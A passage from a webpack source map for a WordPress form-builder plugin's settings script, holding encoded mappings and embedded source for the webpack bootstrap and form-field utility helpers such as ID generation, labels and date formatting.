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","file":"settings.js","sourcesContent":[" \t// The module cache\n \tvar installedModules = {};\n\n \t// The require function\n \tfunction __webpack_require__(moduleId) {\n\n \t\t// Check if module is in cache\n \t\tif(installedModules[moduleId]) {\n \t\t\treturn installedModules[moduleId].exports;\n \t\t}\n \t\t// Create a new module (and put it into the cache)\n \t\tvar module = installedModules[moduleId] = {\n \t\t\ti: moduleId,\n \t\t\tl: false,\n \t\t\texports: {}\n \t\t};\n\n \t\t// Execute the module function\n \t\tmodules[moduleId].call(module.exports, module, module.exports, __webpack_require__);\n\n \t\t// Flag the module as loaded\n \t\tmodule.l = true;\n\n \t\t// Return the exports of the module\n \t\treturn module.exports;\n \t}\n\n\n \t// expose the modules object (__webpack_modules__)\n \t__webpack_require__.m = modules;\n\n \t// expose the module cache\n \t__webpack_require__.c = installedModules;\n\n \t// define getter function for harmony exports\n \t__webpack_require__.d = function(exports, name, getter) {\n \t\tif(!__webpack_require__.o(exports, name)) {\n \t\t\tObject.defineProperty(exports, name, {\n \t\t\t\tconfigurable: false,\n \t\t\t\tenumerable: true,\n \t\t\t\tget: getter\n \t\t\t});\n \t\t}\n \t};\n\n \t// getDefaultExport function for compatibility with non-harmony modules\n \t__webpack_require__.n = function(module) {\n \t\tvar getter = module && module.__esModule ?\n \t\t\tfunction getDefault() { return module['default']; } :\n \t\t\tfunction getModuleExports() { return module; };\n \t\t__webpack_require__.d(getter, 'a', getter);\n \t\treturn getter;\n \t};\n\n \t// Object.prototype.hasOwnProperty.call\n \t__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };\n\n \t// __webpack_public_path__\n \t__webpack_require__.p = \"\";\n\n \t// Load entry module and return exports\n \treturn __webpack_require__(__webpack_require__.s = 807);\n\n\n\n// WEBPACK FOOTER //\n// webpack/bootstrap b945c7c4a6b66c990533","module.exports = React;\n\n\n//////////////////\n// WEBPACK FOOTER\n// external \"React\"\n// module id = 0\n// module chunks = 0 1 2 3 4 5","import i18n from 'i18n-wp-plugin';\n/**\n * Returns unique 4 digit number\n *\n * @return {number}\n **/\nexport function randNumber() {\n\t//return Math.floor( Math.random() * 9999 );\n\tvar min = Math.ceil( 1000 );\n\tvar max = Math.floor( 9999 );\n\treturn Math.floor( Math.random() * ( max - min ) + min );\n}\n\n/**\n * Returns wrapper uniq ID\n *\n * @return {string}\n **/\nexport function generateWrapperId() {\n\treturn 'wrapper-' + randNumber() + '-' + randNumber();\n}\n\n/**\n * Returns wrapper object by wrapper ID\n *\n * @param {string} wrapperID ID of the wrapper\n * @param {array} wrappers current wrappers\n *\n * @return {string}\n **/\nexport function getWrapper( wrapperID, wrappers ) {\n\tlet wrapperObject;\n\n\twrappers.map( wrapper => {\n\t\tif ( wrapper.wrapper_id === wrapperID ) {\n\t\t\twrapperObject = wrapper;\n\t\t}\n\t} );\n\n\treturn wrapperObject;\n}\n\n/**\n * Return passed default value or empty if it's Basic theme\n *\n * @param {String} getDefaultValue Default value\n * @param {String} formDesign Property\n * @return {String}\n */\nexport function getDefaultValue( props, getDefaultValue ) {\n\treturn getThemeName( props ) !== 'basic' ? getDefaultValue : '';\n}\n\n/**\n * Get prefix for properties if it's Basic theme\n *\n * @param {type} formDesign Property\n * @return {String}\n */\nexport function getThemePrefix( props ) {\n\treturn getThemeName( props ) === 'basic' ? 'basic-' : '';\n}\n\n/**\n * Get design theme name\n *\n * @param {type} propsProperties\n * @return {String}\n */\nfunction getThemeName( props ) {\n\tif ( \"undefined\" !== typeof props.formDesign ) {\n\t\treturn props.formDesign;\n\t}\n\n\tif ( \"undefined\" !== typeof props.settings && \"undefined\" !== typeof props.settings['forminator-poll-design'] )\n\t\treturn props.settings['forminator-poll-design'];\n\n\tif ( \"undefined\" !== typeof props.quizDesign )\n\t\treturn props.quizDesign;\n\n\treturn '';\n}\n\n/**\n * Returns all field types disabled inside Group Fields\n *\n * @return {array}\n */\nexport function restrictedGroupFields() {\n\treturn [ 'page-break', 'paypal', 'stripe', 'signature', 'captcha', 'postdata', 'group' ];\n}\n\n/**\n * Returns all field types that should only occupy a single row. ;(\n * Field can only be added for new/unreleased field types.\n *\n * @return {array}\n */\nexport function lonerFields() {\n\treturn [ 'pdf-page-break', 'all-form-data' ];\n}\n\n/**\n * Returns all behavior types\n *\n * @return {object}\n */\nexport function getSubmissionBehaviors() {\n\treturn {\n\t\t'behaviour-thankyou': translate( 'Inline Message' ),\n\t\t'behaviour-redirect': translate( 'Redirect user to a URL' ),\n\t\t'behaviour-hide': translate( 'Hide form' )\n\t};\n}\n\n/**\n * Returns count of existing fields by type\n *\n * @param {string} type type of field\n * @param {array} wrappers current wrappers\n *\n * @return {number}\n **/\nexport function countFieldsByType( type, wrappers ) {\n\tlet counter = 0;\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( field.type === type ) {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn counter;\n}\n\n/**\n * Returns max ID number by type\n *\n * @param {string} type type of field\n * @param {array} wrappers current wrappers\n *\n * @return {number}\n **/\nexport function getMaxIDByType( type, wrappers ) {\n\tconst fieldIDs = [];\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( field.type === type ) {\n\t\t\t\tconst fieldId = field.element_id;\n\t\t\t\tconst fieldIdArray = fieldId.split( '-' );\n\t\t\t\tswitch ( field.type ) {\n\t\t\t\t\tcase 'page-break':\n\t\t\t\t\tcase 'rich-text':\n\t\t\t\t\t\tfieldIDs.push( parseInt( fieldIdArray[ 2 ] ) );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'all-form-data':\n\t\t\t\t\tcase 'pdf-page-break':\n\t\t\t\t\t\tfieldIDs.push( parseInt( fieldIdArray[ 3 ] ) );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tfieldIDs.push( parseInt( fieldIdArray[ 1 ] ) )\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t} );\n\n\tlet maxValue = 0;\n\n\tif ( ! _.isEmpty( fieldIDs ) ) {\n\t\tmaxValue = _.max( fieldIDs );\n\t}\n\n\treturn parseInt( maxValue ) + 1;\n}\n\nexport function getMaxID( type, values ) {\n\tconst ids = [];\n\n\t_.map( values, value => {\n\t\tconst fieldId = value.element_id;\n\t\tconst fieldIdArray = fieldId.split( '-' );\n\n\t\tids.push( parseInt( fieldIdArray[ 1 ] ) );\n\t} );\n\n\tlet maxValue = 0;\n\n\tif ( ! _.isEmpty( ids ) ) {\n\t\tmaxValue = _.max( ids );\n\t}\n\n\treturn parseInt( maxValue ) + 1;\n}\n\n/**\n * Returns Label converted to value\n *\n * @param {string} value entered label\n *\n * @return {string}\n **/\nexport function generateValue( value ) {\n\tvalue = value.trim().replace( /\\s+|\\//g, '-' );\n\n\treturn value;\n}\n\n/**\n * Return true if it's Global Appearance Preset\n *\n * @param {array} wrappers current wrappers\n * @return {Boolean}\n */\nfunction isGlobalPreset( wrappers ) {\n\treturn null === wrappers;\n}\n\n/**\n * Returns true if field exist\n *\n * @param {string} type type of field\n * @param {array} wrappers current wrappers\n *\n * @return {bool}\n **/\nexport function hasFieldType( type, wrappers ) {\n\tlet counter = 0;\n\n\tif ( isGlobalPreset( wrappers ) ) {\n\t\treturn true;\n\t}\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( field.type === type ) {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn counter > 0;\n}\n\n/**\n * Returns array of fields by type\n *\n * @param {string} type type of field\n * @param {array} wrappers current wrappers\n *\n * @return {array}\n **/\nexport function getFieldsByType( type, wrappers ) {\n\tconst fields = [];\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( field.type === type ) {\n\t\t\t\tfields.push( field );\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn fields;\n}\n\n/**\n * Returns array of fields by type mapped for select field\n *\n * @param {string} type type of field\n * @param {array} wrappers current wrappers\n *\n * @return {array}\n **/\nexport function mapFieldsByType( type, wrappers ) {\n\tconst fields = [];\n\tconst fieldsByType = getFieldsByType( type, wrappers );\n\tfieldsByType.map( field => {\n\t\tlet label = field.field_label;\n\n\t\tif ( type === 'address' ) {\n\t\t\tlabel = field.element_id;\n\t\t}\n\n\t\tfields.push( {\n\t\t\tvalue: field.element_id,\n\t\t\tlabel: label,\n\t\t\telement_id: field.element_id,\n\t\t} );\n\t} );\n\n\treturn fields;\n}\n\n/**\n * Returns field label by ID\n *\n * @param {string} id field ID\n * @param {array} wrappers current wrappers\n *\n * @return {string}\n **/\nexport function getFieldLabel( id, wrappers ) {\n\tlet label = '';\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( field.element_id === id ) {\n\t\t\t\tlabel = field.field_label;\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn label;\n}\n/**\n * Returns true or false if field exist\n *\n * @param {string} id field ID\n * @param {array} wrappers current wrappers\n *\n * @return {bool}\n **/\nexport function fieldExist( id, wrappers ) {\n\tlet exist = 0;\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( field.element_id === id ) {\n\t\t\t\texist++;\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn exist > 0;\n}\n\n/**\n * Returns field object with defaults from slug\n *\n * @param {object} field field\n * @param {string} wrapperID wrapper id\n * @param {number} cols columns\n * @param {array} wrappers wrappers\n * @param {array} tempNewFields New Siblings Fields that aren't included in wrappers yet\n *\n * @return {object}\n **/\nexport function buildFieldObject( field, wrapperID, cols, wrappers, tempNewFields ) {\n\ttempNewFields = tempNewFields || [];\n\tconst wraps = [ ...wrappers, { fields: tempNewFields } ];\n\tconst fieldNumber = getMaxIDByType( field.type, wraps );\n\n\treturn _.extend( field, {\n\t\telement_id: field.type + '-' + fieldNumber,\n\t\tformID: wrapperID,\n\t\tcols: cols,\n\t} );\n}\n\n/**\n * Returns field object with defaults from slug\n *\n * @param {string} slug field slug\n * @param {array} wrappers wrappers\n * @param {string} wrapepr ID\n *\n * @return {object}\n **/\nexport function buildFieldObjectFromSlug( slug, wrappers, wrapperID ) {\n\tconst field = forminatorData.fields.find( fieldData => {\n\t\treturn fieldData.slug === slug;\n\t} );\n\n\tconst fieldNumber = getMaxIDByType( field.type, wrappers );\n\n\tconst props = {\n\t\telement_id: field.type + '-' + fieldNumber,\n\t\ttype: field.type,\n\t\toptions: field.options,\n\t\tcols: 12,\n\t\tconditions: {},\n\t\twrapper_id: wrapperID,\n\t};\n\n\tif (  _.contains( [ 'calculation', 'number', 'slider', 'radio', 'currency', 'select', 'checkbox' ], field.type ) ) {\n\t\tprops['hidden_behavior'] = 'zero';\n\t}\n\n\treturn _.extend(\n\t\tprops,\n\t\tJSON.parse( JSON.stringify( field.defaults ) )\n\t);\n}\n\n/**\n * Returns field type by field object\n *\n * @param {object} field field\n *\n * @return {string}\n **/\nexport function getFieldType( field ) {\n\tconst { type } = field;\n\n\treturn type;\n}\n\n/**\n * Returns forminatorData.fields(PHP) from field object from builder\n *\n * Comparing `type`\n *\n * @param {object} field field\n *\n * @return {object}\n **/\nexport function getForminatorField( field ) {\n\treturn forminatorData.fields.find( forminatorField => forminatorField.type === field.type );\n}\n\n/**\n * Insert item into array in specific position\n *\n * @param {array} array array\n * @param {number} position position\n * @param {any} replacement replacement\n *\n * @return {array} array\n */\nexport function insertInPosition( array, position, replacement ) {\n\treturn [ ...array.slice( 0, position ), replacement, ...array.slice( position ) ];\n}\n\n/**\n * Replace item in array in specific position\n *\n * @param {array} array array\n * @param {number} position position\n * @param {any} replacement replacement\n *\n * @return {array} array\n */\nexport function replaceInPosition( array, position, replacement ) {\n\treturn [ ...array.slice( 0, position ), replacement, ...array.slice( position + 1 ) ];\n}\n\n/**\n * Translate string\n *\n * @see i18n.translate\n *\n * @return {string} translated string\n */\nexport function translate() {\n\treturn i18n.translate.apply( null, arguments );\n}\n\n/**\n * Returns variants for selected font\n *\n * @param {string} value font\n * @param {array} fonts fonts\n\n * @return {array}\n **/\nexport function getFontVariants( value, fonts ) {\n\tconst fontObject = _.filter( fonts, function( font ) {\n\t\treturn font.family === value;\n\t} );\n\n\tif ( ! _.isUndefined( fontObject[ 0 ] ) && ! _.isUndefined( fontObject[ 0 ].variants ) ) {\n\t\treturn fontObject[ 0 ].variants;\n\t}\n\n\treturn [ translate( 'None' ) ];\n}\n\n/**\n * Capitalize string\n *\n * @param {string} value value\n * @returns {string}\n **/\nexport function ucfirst( value ) {\n\treturn value.charAt( 0 ).toUpperCase() + value.slice( 1 );\n}\n\n/**\n * Get condition label\n *\n * @returns {string}\n */\nexport function getConditionLabel( field, condition ) {\n\tconst value = condition.value;\n\tlet valueLabel;\n\n\t// If option field and have values, we need the option updateValue\n\t// Else return the field value\n\tif ( field.hasOptions && field.values.length > 0 ) {\n\t\tlet label;\n\n\t\t// Check in values\n\t\tlabel = _.where( field.values, { value: value } )[ 0 ];\n\n\t\t// If label is not set, check in labels\n\t\tif ( ! label ) {\n\t\t\tlabel = _.where( field.values, { label: value } )[ 0 ];\n\t\t}\n\n\t\t// If label is still not found, return\n\t\tif ( ! label ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvalueLabel = label.label;\n\t} else if ( 'date' === field.field_type && [ 'is_before', 'is_after' ].includes( condition.rule )  ) {\n\t\t// Get formatted date string\n\t\tvalueLabel = convertTimestamp( value );\n\t} else {\n\t\tvalueLabel = value;\n\t}\n\n\t// If label empty, return null\n\tif ( _.isEmpty( valueLabel ) ) {\n\t\treturn translate( 'null' );\n\t}\n\n\treturn valueLabel;\n}\n\n/*\n * Convert date from timestamp\n */\nexport function convertTimestamp( value ) {\n\tif ( ! isNaN( Number( value ) ) ) {\n\t\t// Convert timestamp to Date object\n\t\tconst date = new Date( value*1 );\n\n\t\t// Options for formatting the date\n\t\tconst options = { day: 'numeric', month: 'numeric', year: 'numeric' };\n\n\t\t// Get the formatted date string\n\t\tvalue = date.toLocaleDateString( 'en-US', options );\n\t}\n\n\treturn value;\n}\n\n/*\n * Returns builder fields from wrappers\n */\nexport function getFields( wrappers, disabledFields, extra, includedFields, excludeSubFields ) {\n\tlet fieldsArray = [];\n\n\tif ( _.isUndefined( disabledFields ) ) {\n\t\tdisabledFields = [ 'page-break', 'postdata', 'total', 'product', 'captcha' ];\n\t}\n\tif ( Array.isArray( disabledFields ) && ! isTrue( excludeSubFields ) ) {\n\t\tdisabledFields.push( 'group' );\n\t}\n\tlet main_date_field = false;\n\n\tif ( ! _.isUndefined( extra ) && ! _.isUndefined( extra.main_date_field ) && extra.main_date_field === true ) {\n\t\tmain_date_field = true;\n\t}\n\n\n\t// Loop all wrappers we have\n\twrappers.map( wrapper => {\n\t\tconst fields = wrapper.fields,\n\t\t\tparentGroup = wrapper.parent_group;\n\t\tfields.map( field => {\n\t\t\t// Check if field is included\n\t\t\tif ( ! _.isUndefined( includedFields ) ) {\n\t\t\t\tif ( ! _.contains( includedFields, field.type ) ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else if ( _.contains( disabledFields, field.type ) ) {\n\t\t\t\t// Check if field is disabled\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tlet label;\n\n\t\t\t// Get field label\n\t\t\tif ( ! _.isUndefined( field.field_label ) && ! _.isEmpty( field.field_label ) ) {\n\t\t\t\tlabel = field.field_label;\n\t\t\t} else {\n\t\t\t\tlabel = field.type;\n\t\t\t\tlabel = ucfirst( label );\n\t\t\t}\n\n\t\t\t// If field is name, get all existing sub fields\n\t\t\tif ( field.type === 'name' && ! isTrue( excludeSubFields ) ) {\n\t\t\t\tfieldsArray = fieldsArray.concat( getNameFields( field, label, parentGroup ) );\n\t\t\t} else if ( field.type === 'address' && ! isTrue( excludeSubFields ) ) {\n\t\t\t\tfieldsArray = fieldsArray.concat( getAddressFields( field, label, parentGroup ) );\n\t\t\t} else if ( field.type === 'slider' && field.slider_type === 'range' ) {\n\t\t\t\tfieldsArray = fieldsArray.concat( getRangeSliderFields( field, label, parentGroup ) );\n\t\t\t} else if ( field.type === 'time' && ! isTrue( excludeSubFields ) ) {\n\t\t\t\tfieldsArray = fieldsArray.concat( getTimeFields( field, label, parentGroup ) );\n\t\t\t}else if ( field.type === 'date' && field.field_type !== 'picker' && main_date_field === false ) {\n\t\t\t\t//skip now\n\t\t\t} else {\n\t\t\t\tfieldsArray.push( {\n\t\t\t\t\telement_id: field.element_id,\n\t\t\t\t\tparent_group: parentGroup,\n\t\t\t\t\trequired: field.required,\n\t\t\t\t\tfield_type: field.type,\n\t\t\t\t\tfield_slug: field.type,\n\t\t\t\t\tlabel: label,\n\t\t\t\t\tvalues: getFieldValues( field ),\n\t\t\t\t\thasOptions: fieldHasOptions( field ),\n\t\t\t\t\thasCalcs: fieldHasCalcs( field ),\n\t\t\t\t\tformula: fieldFormula( field ),\n\t\t\t\t\tisNumber: fieldHasNumber( field ),\n\t\t\t\t\tfieldData: field,\n\t\t\t\t} );\n\t\t\t}\n\t\t\tif ( field.type === 'date' && field.field_type !== 'picker' && ! isTrue( excludeSubFields ) ) {\n\t\t\t\tfieldsArray = fieldsArray.concat( getDateFields( field, label, parentGroup ) );\n\t\t\t}\n\n\t\t} );\n\t} );\n\treturn fieldsArray;\n}\n/**\n * Get name_fields (support dropdown & input date fields)\n * @param {object} field field to parse\n * @param {string} fieldLabel parent label\n * @returns {Array}\n **/\nexport function getDateFields( field, fieldLabel, parentGroup ) {\n\tconst fieldsArray = [];\n\n\tlet day_label;\n\tif ( ! _.isUndefined( field.day_label ) && ! _.isEmpty( field.day_label ) ) {\n\t\tday_label = fieldLabel + ' - ' + field.day_label;\n\t} else {\n\t\tday_label = fieldLabel + ' - ' + translate( 'Day' );\n\t}\n\n\tlet month_label;\n\tif ( ! _.isUndefined( field.month_label ) && ! 